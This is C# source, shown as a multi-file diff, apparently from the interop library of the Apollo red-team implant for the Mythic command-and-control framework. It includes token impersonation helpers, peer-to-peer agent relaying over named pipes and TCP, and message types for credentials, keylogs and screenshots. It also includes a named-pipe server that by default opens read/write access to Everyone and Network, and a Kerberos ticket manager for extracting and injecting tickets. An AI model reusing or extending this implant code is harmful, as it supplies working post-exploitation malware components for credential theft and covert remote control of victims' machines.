BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(uint value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(long value)
{
}
public override void WriteLine(ulong value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(float value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(double value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(decimal value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(string value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(object value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(string format, object arg0)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0) + "\r\n"));
}
public override void WriteLine(string format, object arg0, object arg1)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1) + "\r\n"));
}
public override void WriteLine(string format, object arg0, object arg1, object arg2)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2) + "\r\n"));
}
public override void WriteLine(string format, params object[] arg)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg) + "\r\n"));
}
}
}

View File

@@ -0,0 +1,34 @@
using System;
using System.Security.Principal;
namespace ApolloInterop.Classes.Impersonation
{
public static class ImpersonationScope
{
public static void Run(WindowsIdentity identity, Action action)
{
if (identity == null)
throw new ArgumentNullException(nameof(identity));
if (action == null)
throw new ArgumentNullException(nameof(action));
using (identity.Impersonate())
{
action();
}
}
public static T Run<T>(WindowsIdentity identity, Func<T> action)
{
if (identity == null)
throw new ArgumentNullException(nameof(identity));
if (action == null)
throw new ArgumentNullException(nameof(action));
using (identity.Impersonate())
{
return action();
}
}
}
}

View File

@@ -0,0 +1,54 @@
using System;
namespace ApolloInterop.Classes.Impersonation
{
[Flags]
public enum PrivilegeAttributes : uint
{
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
SE_PRIVILEGE_ENABLED = 0x00000002,
SE_PRIVILEGE_REMOVED = 0x00000004,
SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
}
public enum TokenPrivilege
{
Unknown = -1,
SeAssignPrimaryTokenPrivilege,
SeAuditPrivilege,
SeBackupPrivilege,
SeChangeNotifyPrivilege,
SeCreateGlobalPrivilege,
SeCreatePagefilePrivilege,
SeCreatePermanentPrivilege,
SeCreateSymbolicLinkPrivilege,
SeCreateTokenPrivilege,
SeDebugPrivilege,
SeDelegateSessionUserImpersonatePrivilege,
SeEnableDelegationPrivilege,
SeImpersonatePrivilege,
SeIncreaseBasePriorityPrivilege,
SeIncreaseQuotaPrivilege,
SeIncreaseWorkingSetPrivilege,
SeLoadDriverPrivilege,
SeLockMemoryPrivilege,
SeMachineAccountPrivilege,
SeManageVolumePrivilege,
SeProfileSingleProcessPrivilege,
SeRelabelPrivilege,
SeRemoteShutdownPrivilege,
SeRestorePrivilege,
SeSecurityPrivilege,
SeShutdownPrivilege,
SeSyncAgentPrivilege,
SeSystemEnvironmentPrivilege,
SeSystemProfilePrivilege,
SeSystemtimePrivilege,
SeTakeOwnershipPrivilege,
SeTcbPrivilege,
SeTimeZonePrivilege,
SeTrustedCredManAccessPrivilege,
SeUndockPrivilege,
SeUnsolicitedInputPrivilege
}
}

View File

@@ -0,0 +1,117 @@
using ApolloInterop.Classes.Core;
using ApolloInterop.Classes.Events;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Interfaces;
using ApolloInterop.Serializers;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Text;
using System.Threading;
namespace ApolloInterop.Classes.P2P
{
public abstract class Peer : IPeer
{
public string C2ProfileName { get; protected set; }
protected IAgent _agent;
protected ISerializer _serializer;
protected PeerInformation _peerInfo;
protected string _uuid;
protected string _mythicUUID;
protected bool _previouslyConnected;
public event EventHandler<UUIDEventArgs> UUIDNegotiated;
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> _messageOrganizer = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
protected ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
protected AutoResetEvent _senderEvent = new AutoResetEvent(false);
protected MessageType _serverResponseType;
public event EventHandler<EventArgs> ConnectionEstablished;
public event EventHandler<EventArgs> Disconnect;
protected CancellationTokenSource _cts = new CancellationTokenSource();
public Peer(IAgent agent, PeerInformation data, ISerializer serializer = null)
{
_agent = agent;
_peerInfo = data;
_uuid = agent.GetApi().NewUUID();
_previouslyConnected = false;
if (serializer == null)
{
_serializer = new JsonSerializer();
}
}
protected virtual void OnUUIDNegotiated(object sender, UUIDEventArgs args)
{
if (UUIDNegotiated != null)
{
UUIDNegotiated(sender, args);
}
}
public virtual void OnConnectionEstablished(object sender, EventArgs args)
{
ConnectionEstablished?.Invoke(sender, args);
}
public virtual void OnDisconnect(object sender, EventArgs args)
{
Disconnect?.Invoke(sender, args);
}
public abstract bool Start();
public abstract void Stop();
public abstract bool Connected();
public virtual void ProcessMessage(DelegateMessage message)
{
if (!string.IsNullOrEmpty(message.MythicUUID) &&
message.MythicUUID != _uuid)
{
_mythicUUID = message.MythicUUID;
OnUUIDNegotiated(this, new UUIDEventArgs(_mythicUUID));
_uuid = _mythicUUID;
}
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(message.Message));
_senderEvent.Set();
}
public void DeserializeToReceiver(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
{
MessageType mt = args.Chunks[0].Message;
List<byte> data = new List<byte>();
for(int i = 0; i < args.Chunks.Length; i++)
{
data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
}
// Probably where we do sorting based on EKE,
// checkin, and get_tasking
switch (mt)
{
// part of the checkin process, flag next message to be of EKE
case MessageType.EKEHandshakeMessage:
_serverResponseType = MessageType.EKEHandshakeResponse;
break;
default:
_serverResponseType = MessageType.MessageResponse;
break;
}
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
{
UUID = _uuid,
C2Profile = C2ProfileName,
Message = Encoding.UTF8.GetString(data.ToArray())
});
}
public virtual string GetUUID() { return _uuid; }
public virtual string GetMythicUUID() { return _mythicUUID; }
public abstract bool Finished();
}
}

View File

@@ -0,0 +1,39 @@
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System.Collections.Concurrent;
namespace ApolloInterop.Classes.P2P
{
public abstract class PeerManager : IPeerManager
{
protected ConcurrentDictionary<string, IPeer> _peers = new ConcurrentDictionary<string, IPeer>();
protected IAgent _agent;
public PeerManager(IAgent agent)
{
_agent = agent;
}
public abstract Peer AddPeer(PeerInformation info);
public virtual bool Remove(string uuid)
{
bool bRet = true;
if (_peers.ContainsKey(uuid))
{
bRet = _peers.TryRemove(uuid, out var p);
if (bRet)
{
p.Stop();
}
}
return bRet;
}
public virtual bool Remove(IPeer peer)
{
return Remove(peer.GetUUID());
}
public abstract bool Route(DelegateMessage msg);
}
}

View File

@@ -0,0 +1,106 @@
using ApolloInterop.Constants;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.IO.Pipes;
namespace ApolloInterop.Classes
{
public class AsyncNamedPipeClient
{
private readonly NamedPipeClientStream _pipe;
public event EventHandler<NamedPipeMessageArgs> MessageReceived;
public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
public event EventHandler<NamedPipeMessageArgs> Disconnect;
public AsyncNamedPipeClient(string host, string pipename)
{
_pipe = new NamedPipeClientStream(
host,
pipename,
PipeDirection.InOut,
PipeOptions.Asynchronous | PipeOptions.WriteThrough
);
}
public bool Connect(Int32 msTimeout)
{
try
{
_pipe.Connect(msTimeout);
// Client times out, so fail.
} catch { return false; }
_pipe.ReadMode = PipeTransmissionMode.Message;
IPCData pd = new IPCData()
{
Pipe = _pipe,
State = _pipe,
Data = new byte[IPC.RECV_SIZE],
};
OnConnectionEstablished(new NamedPipeMessageArgs(_pipe, pd, pd.State));
BeginRead(pd);
return true;
}
public void BeginRead(IPCData pd)
{
bool isConnected = pd.Pipe.IsConnected;
if (isConnected)
{
try
{
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
} catch (Exception ex)
{
DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}");
isConnected = false;
}
}
if (!isConnected)
{
pd.Pipe.Close();
DebugHelp.DebugWriteLine($"disconnecting on named pipe");
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
try{
Int32 bytesRead = pd.Pipe.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
} else
{
DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead");
pd.Pipe.Close();
}
BeginRead(pd);
}catch(Exception ex){
DebugHelp.DebugWriteLine($"error reading from named pipe: {ex}");
pd.Pipe.Close();
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
}
}
private void OnConnectionEstablished(NamedPipeMessageArgs args)
{
ConnectionEstablished?.Invoke(this, args);
}
private void OnMessageReceived(NamedPipeMessageArgs args)
{
MessageReceived?.Invoke(this, args);
}
private void OnDisconnect(NamedPipeMessageArgs args)
{
DebugHelp.DebugWriteLine($"OnDisconnect");
Disconnect?.Invoke(this, args);
}
}
}

View File

@@ -0,0 +1,185 @@
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.Collections.Concurrent;
using System.IO.Pipes;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Threading;
using System.Threading.Tasks;
namespace ApolloInterop.Classes
{
public class AsyncNamedPipeServer
{
private bool _running = true;
private readonly string _pipeName;
private readonly PipeSecurity _pipeSecurity;
private readonly int _BUF_IN;
private readonly int _BUF_OUT;
private readonly int _maxInstances;
private ConcurrentDictionary<PipeStream, IPCData> _connections = new();
public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
public event EventHandler<NamedPipeMessageArgs> MessageReceived;
public event EventHandler<NamedPipeMessageArgs> Disconnect;
public AsyncNamedPipeServer(string pipename, PipeSecurity ps = null, int instances=1, int BUF_IN=4096, int BUF_OUT=4096)
{
_pipeName = pipename;
_BUF_IN = BUF_IN;
_BUF_OUT = BUF_OUT;
_maxInstances = instances;
if (ps == null)
{
_pipeSecurity = new PipeSecurity();
PipeAccessRule multipleInstances = new PipeAccessRule(WindowsIdentity.GetCurrent().Name, PipeAccessRights.CreateNewInstance, AccessControlType.Allow);
PipeAccessRule everyoneAllowedRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
PipeAccessRule networkAllowRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
_pipeSecurity.AddAccessRule(multipleInstances);
_pipeSecurity.AddAccessRule(everyoneAllowedRule);
_pipeSecurity.AddAccessRule(networkAllowRule);
}
for(int i = 0; i < _maxInstances; i++)
{
CreateServerPipe();
}
}
public void Stop()
{
_running = false;
foreach (var pipe in _connections.Keys)
{
pipe.Close();
}
while(true)
{
int count = _connections.Count;
if (count == 0)
break;
System.Threading.Thread.Sleep(5);
}
}
private void CreateServerPipe()
{
DebugHelp.DebugWriteLine($"Creating Named Pipe: {_pipeName}");
NamedPipeServerStream pipe = new NamedPipeServerStream(
_pipeName,
PipeDirection.InOut,
-1,
PipeTransmissionMode.Message,
PipeOptions.Asynchronous | PipeOptions.WriteThrough,
_BUF_IN,
_BUF_OUT,
_pipeSecurity
);
//NamedPipeServerStream pipe = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, -1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
// wait for client to connect async
try
{
pipe.BeginWaitForConnection(OnClientConnected, pipe);
}catch(Exception ex)
{
}
}
private bool IsPersistentConnectionAsync(NamedPipeServerStream pipeServer)
{
// Try to complete the read task within the timeout
var completedTask = Task.WhenAny(
Task.Delay(500)
);
return pipeServer.IsConnected;
}
private void OnConnect(NamedPipeMessageArgs args)
{
ConnectionEstablished?.Invoke(this, args);
}
private void OnMessageReceived(NamedPipeMessageArgs args)
{
MessageReceived?.Invoke(this, args);
}
private void OnDisconnect(NamedPipeMessageArgs args)
{
DebugHelp.DebugWriteLine($"Client disconnected from Named Pipe: {_pipeName}");
Disconnect?.Invoke(this, args);
}
private void OnClientConnected(IAsyncResult result)
{
// complete connection
NamedPipeServerStream pipe = (NamedPipeServerStream)result.AsyncState;
pipe.EndWaitForConnection(result);
DebugHelp.DebugWriteLine($"Client connected to Named Pipe: {_pipeName}");
if(!IsPersistentConnectionAsync(pipe))
{
pipe.Close();
}
// create client pipe structure
IPCData pd = new IPCData()
{
Pipe = pipe,
State = null,
Data = new byte[_BUF_IN],
};
// Add to connection list
if (_running && _connections.TryAdd(pipe, pd))
{
// Prep the next connection
CreateServerPipe();
OnConnect(new NamedPipeMessageArgs(pipe, null, this));
BeginRead(pd);
} else
{
pipe.Close();
}
}
private void BeginRead(IPCData pd)
{
bool isConnected = pd.Pipe.IsConnected;
if (isConnected)
{
try
{
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
} catch (Exception ex)
{
isConnected = false;
}
}
if (!isConnected)
{
pd.Pipe.Close();
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
_connections.TryRemove(pd.Pipe, out IPCData nullobj);
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
Int32 bytesRead = pd.Pipe.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
}
BeginRead(pd);
}
}
}

View File

@@ -0,0 +1,21 @@
using ApolloInterop.Structs.ApolloStructs;
using System;
using System.IO.Pipes;
namespace ApolloInterop.Classes
{
public class NamedPipeMessageArgs : EventArgs
{
public PipeStream Pipe;
public IPCData Data;
public Object State;
public NamedPipeMessageArgs(PipeStream pipe, IPCData? data, Object state)
{
Pipe = pipe;
if (data != null)
Data = (IPCData)data;
State = state;
}
}
}

View File

@@ -0,0 +1,149 @@
using ApolloInterop.Constants;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.Net;
using System.Net.Sockets;
namespace ApolloInterop.Classes
{
public class AsyncTcpClient
{
private readonly TcpClient _client;
private readonly string _host;
private readonly int _port;
private readonly IPAddress _addr = null;
private readonly bool _clientConnectionSupplied;
public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
public event EventHandler<TcpMessageEventArgs> MessageReceived;
public event EventHandler<TcpMessageEventArgs> Disconnect;
public AsyncTcpClient(string host, int port)
{
_client = new TcpClient();
_host = host;
_port = port;
_clientConnectionSupplied = false;
}
public AsyncTcpClient(IPAddress host, int port)
{
_client = new TcpClient();
_addr = host;
_port = port;
_clientConnectionSupplied = false;
}
public AsyncTcpClient(TcpClient client)
{
_client = client;
_clientConnectionSupplied = true;
}
public bool Connect()
{
if (!_clientConnectionSupplied)
{
try
{
if (_addr == null)
{
_client.Connect(_host, _port);
}
else
{
_client.Connect(_addr, _port);
}
// Client times out, so fail.
}
catch { return false; }
}
// we set pipe to be message transactions ; don't think we need to for tcp
IPCData pd = new IPCData()
{
Client = _client,
State = _client,
NetworkStream = _client.GetStream(),
Data = new byte[IPC.RECV_SIZE],
};
pd.NetworkStream.ReadTimeout = -1;
OnConnect(new TcpMessageEventArgs(_client, pd, _client));
BeginRead(pd);
return true;
}
private void OnConnect(TcpMessageEventArgs args)
{
if (ConnectionEstablished != null)
{
ConnectionEstablished(this, args);
}
}
public void BeginRead(IPCData pd)
{
bool isConnected = pd.Client.Connected;
if (isConnected)
{
try
{
pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
}
catch (Exception ex)
{
isConnected = false;
}
}
if (!isConnected)
{
pd.Client.Close();
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
}
}
private void OnDisconnect(TcpMessageEventArgs args)
{
if (Disconnect != null)
{
Disconnect(this, args);
}
}
private void OnMessageReceived(TcpMessageEventArgs args)
{
if (MessageReceived != null)
{
MessageReceived(this, args);
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
try
{
//DebugHelp.DebugWriteLine($"in OnAsyncMessageReceived in AsyncTcpClient");
Int32 bytesRead = pd.NetworkStream.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(new TcpMessageEventArgs(pd.Client, pd, pd.State));
} else
{
pd.Client.Close();
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
return;
}
} catch (Exception ex)
{
pd.Client.Close();
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
return;
}
BeginRead(pd);
}
}
}

View File

@@ -0,0 +1,134 @@
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.Collections.Concurrent;
using System.Net;
using System.Net.Sockets;
namespace ApolloInterop.Classes
{
public class AsyncTcpServer
{
private readonly int _BUF_IN;
private readonly int _BUF_OUT;
private readonly int _port;
private readonly TcpListener _server;
private ConcurrentDictionary<TcpClient, IPCData> _connections = new ConcurrentDictionary<TcpClient, IPCData>();
public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
public event EventHandler<TcpMessageEventArgs> MessageReceived;
public event EventHandler<TcpMessageEventArgs> Disconnect;
private void OnConnect(object sender, TcpMessageEventArgs args) => ConnectionEstablished?.Invoke(sender, args);
private void OnMessageReceived(object sender, TcpMessageEventArgs args) => MessageReceived?.Invoke(sender, args);
private void OnDisconnect(object sender, TcpMessageEventArgs args) => Disconnect?.Invoke(sender, args);
private bool _running = true;
public AsyncTcpServer(int port, int BUF_IN = Constants.IPC.RECV_SIZE, int BUF_OUT = Constants.IPC.SEND_SIZE)
{
_BUF_IN = BUF_IN;
_BUF_OUT = BUF_OUT;
_port = port;
_server = new TcpListener(IPAddress.Any, port);
_server.Start();
_server.BeginAcceptTcpClient(OnClientConnected, _server);
}
public void Stop()
{
_running = false;
foreach (var client in _connections.Keys)
{
client.Close();
}
while (true)
{
int count = _connections.Count;
if (count == 0)
break;
System.Threading.Thread.Sleep(5);
}
}
private void OnClientConnected(IAsyncResult result)
{
// complete connection
TcpListener server = (TcpListener)result.AsyncState;
TcpClient client = server.EndAcceptTcpClient(result);
// create client pipe structure
IPCData pd = new IPCData()
{
Client = client,
NetworkStream = client.GetStream(),
State = null,
Data = new byte[_BUF_IN],
};
pd.NetworkStream.ReadTimeout = -1;
// Add to connection list
if (_running && _connections.TryAdd(client, pd))
{
_server.BeginAcceptTcpClient(OnClientConnected, _server);
OnConnect(this, new TcpMessageEventArgs(client, pd, this));
BeginRead(pd);
}
else
{
client.Close();
}
}
private void BeginRead(IPCData pd)
{
bool isConnected;
try
{
isConnected = pd.Client.Connected;
if (isConnected)
{
try
{
pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
}
catch (Exception ex)
{
isConnected = false;
}
}
} catch { isConnected = false; }
if (!isConnected)
{
pd.Client.Client?.Close();
OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
_connections.TryRemove(pd.Client, out IPCData _);
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
try
{
Int32 bytesRead = pd.NetworkStream.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(this, new TcpMessageEventArgs(pd.Client, pd, pd.State));
} else
{
pd.Client.Close();
OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
return;
}
} catch (Exception ex)
{
pd.Client.Close();
}
BeginRead(pd);
}
}
}

View File

@@ -0,0 +1,21 @@
using ApolloInterop.Structs.ApolloStructs;
using System;
using System.Net.Sockets;
namespace ApolloInterop.Classes
{
public class TcpMessageEventArgs : EventArgs
{
public TcpClient Client;
public IPCData Data;
public Object State;
public TcpMessageEventArgs(TcpClient client, IPCData? data, Object state)
{
Client = client;
if (data != null)
Data = (IPCData)data;
State = state;
}
}
}

View File

@@ -0,0 +1,8 @@
namespace ApolloInterop.Constants
{
public static class IPC
{
public const int SEND_SIZE = 30000;
public const int RECV_SIZE = 30000;
}
}

View File

@@ -0,0 +1,7 @@
namespace ApolloInterop.Constants
{
public static class SOCKS
{
public const int SUPPORTED_VERSION = 5;
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,91 @@
namespace ApolloInterop.Enums
{
namespace ApolloEnums
{
public enum Socks5Error
{
SuccessReply,
ServerFailure,
RuleFailure,
NetworkUnreachable,
HostUnreachable,
ConnectionRefused,
TtlExpired,
CommandNotSupported,
AddrTypeNotSupported,
}
public enum SocksVersion
{
Socks5 = 5
}
public enum Socks5AuthError
{
Success = 0,
Failure,
NoAcceptable = 255,
}
public enum Socks5AuthType
{
NoAuth = 0,
Version = 1, //????
UsernamePassword = 2,
}
public enum Socks5AddressType
{
IPv4 = 1,
FQDN = 3,
IPv6 = 4
}
public enum Socks5Command
{
Connect = 1,
Bind = 2,
Associate = 3
}
public enum MessageDirection
{
ToMythic = 0,
FromMythic = 1
}
public enum MessageType
{
C2ProfileData = 0,
Credential,
RemovedFileInformation,
FileInformation,
FileBrowser,
EdgeNode,
SocksDatagram,
Artifact,
TaskStatus,
TaskResponse,
DownloadRegistrationMessage,
DownloadProgressMessage,
Task,
DelegateMessage,
TaskingMessage,
EKEHandshakeMessage,
EKEHandshakeResponse,
CheckinMessage,
UploadMessage,
MessageResponse,
DownloadMessage,
FileBrowserACE,
IPCCommandArguments,
ExecutePEIPCMessage,
ProcessInformation,
CommandInformation,
ScreenshotInformation,
KeylogInformation,
CallbackUpdate,
CustomBrowser
}
}
}

View File

@@ -0,0 +1,157 @@
using System;
namespace ApolloInterop.Enums
{
public static class Win32
{
public enum TokenType
{
TokenPrimary = 1,
TokenImpersonation
}
public enum TokenInformationClass
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
TokenIsAppContainer,
TokenCapabilities,
TokenAppContainerSid,
TokenAppContainerNumber,
TokenUserClaimAttributes,
TokenDeviceClaimAttributes,
TokenRestrictedUserClaimAttributes,
TokenRestrictedDeviceClaimAttributes,
TokenDeviceGroups,
TokenRestrictedDeviceGroups,
TokenSecurityAttributes,
TokenIsRestricted,
TokenProcessTrustLevel,
TokenPrivateNameSpace,
TokenSingletonAttributes,
TokenBnoIsolation,
TokenChildProcessFlags,
MaxTokenInfoClass,
TokenIsLessPrivilegedAppContainer,
TokenIsSandboxed,
TokenOriginatingProcessTrustLevel
}
[Flags]
public enum LogonType : UInt32
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK = 3,
LOGON32_LOGON_BATCH = 4,
LOGON32_LOGON_SERVICE = 5,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
LOGON32_LOGON_NEW_CREDENTIALS = 9,
LOGON32_REMOTE_INTERACTIVE = 10,
LOGON32_LOGON_CACHED_INTERACTIVE = 11,
}
public enum LogonProvider : UInt32
{
LOGON32_PROVIDER_DEFAULT = 0,
LOGON32_PROVIDER_WINNT35 = 1,
LOGON32_PROVIDER_WINNT40 = 2,
LOGON32_PROVIDER_WINNT50 = 3,
LOGON32_PROVIDER_VIRTUAL = 4
}
[Flags]
public enum STARTF : uint
{
STARTF_USESHOWWINDOW = 0x00000001,
STARTF_USESIZE = 0x00000002,
STARTF_USEPOSITION = 0x00000004,
STARTF_USECOUNTCHARS = 0x00000008,
STARTF_USEFILLATTRIBUTE = 0x00000010,
STARTF_RUNFULLSCREEN = 0x00000020, // ignored for non-x86 platforms
STARTF_FORCEONFEEDBACK = 0x00000040,
STARTF_FORCEOFFFEEDBACK = 0x00000080,
STARTF_USESTDHANDLES = 0x00000100,
}
[Flags]
public enum CreateProcessFlags
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[Flags]
public enum ProcessAccessFlags : UInt32
{
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_QUERY_LIMITED_INFORMATION = 0x0200,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SUSPEND_RESUME = 0x0800,
PROCESS_TERMINATE = 0x0001,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
SYNCHRONIZE = 0x00100000,
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
MAXIMUM_ALLOWED = 0x02000000
}
[Flags]
public enum DuplicateOptions : uint
{
DuplicateCloseSource = 0x00000001,
DuplicateSameAccess = 0x00000002
}
[Flags]
internal enum LogonFlags : uint
{
LOGON_WITH_PROFILE = 0x00000001,
LOGON_NETCREDENTIALS_ONLY = 0x00000002
}
}
}

View File

@@ -0,0 +1,42 @@
using System.Collections.Generic;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Features.KerberosTickets;
/// <summary>
/// Should serve to manage kerberos tickets.
/// Any functions I want to enable calling from other modules like Tasks should be defined here.
/// </summary>
public interface ITicketManager
{
//artifact related functions
public List<Artifact> GetArtifacts();
//returns the current LUID
public string GetCurrentLuid();
public string GetTargetProcessLuid(int pid);
//should return a ticket with the .kirbi initalized with the ticket data
public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName);
//should return all tickets in the current LUID or all tickets if running as administrator
public List<KerberosTicket> EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "");
//loads a ticket into memory and should be tracked by the agent session
public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid);
//unloads a ticket from memory and should be removed from the agent session
public (bool, string) UnloadTicketFromCache(string serviceName, string domainName, string luid, bool All = false);
public KerberosTicket? GetTicketDetailsFromKirbi(byte[] kirbi);
//returns a list of tickets stored inside the ticket store (if any)
public List<KerberosTicketStoreDTO> GetTicketsFromTicketStore();
//adds a ticket to the ticket store
public void AddTicketToTicketStore(KerberosTicketStoreDTO ticket);
//removes a ticket from the ticket store
public bool RemoveTicketFromTicketStore(string serviceName, bool All = false);
}

View File

@@ -0,0 +1,41 @@
using System;
namespace ApolloInterop.Features.KerberosTickets;
public record KerberosTicketDataDTO
{
public string Luid { get; private set; }
public string ClientFullName { get; private set; }
public string ServiceFullName { get; private set; }
public DateTime StartTime { get; private set; }
public DateTime EndTime { get; private set; }
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
public DateTime RenewTime { get; private set; }
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
public KerbEncType EncryptionType { get; private set; }
public KerbTicketFlags TicketFlags { get; private set; }
public string base64Ticket { get; private set; }
private KerberosTicketDataDTO() { }
public static KerberosTicketDataDTO CreateFromKerberosTicket(KerberosTicket ticket, string luid = "0x0")
{
return new KerberosTicketDataDTO
{
Luid = ticket.Luid.ToString() is "0x0" ? luid : ticket.Luid.ToString(),
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}",
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}",
StartTime = ticket.StartTime,
EndTime = ticket.EndTime,
RenewTime = ticket.RenewTime,
EncryptionType = ticket.EncryptionType,
TicketFlags = ticket.TicketFlags,
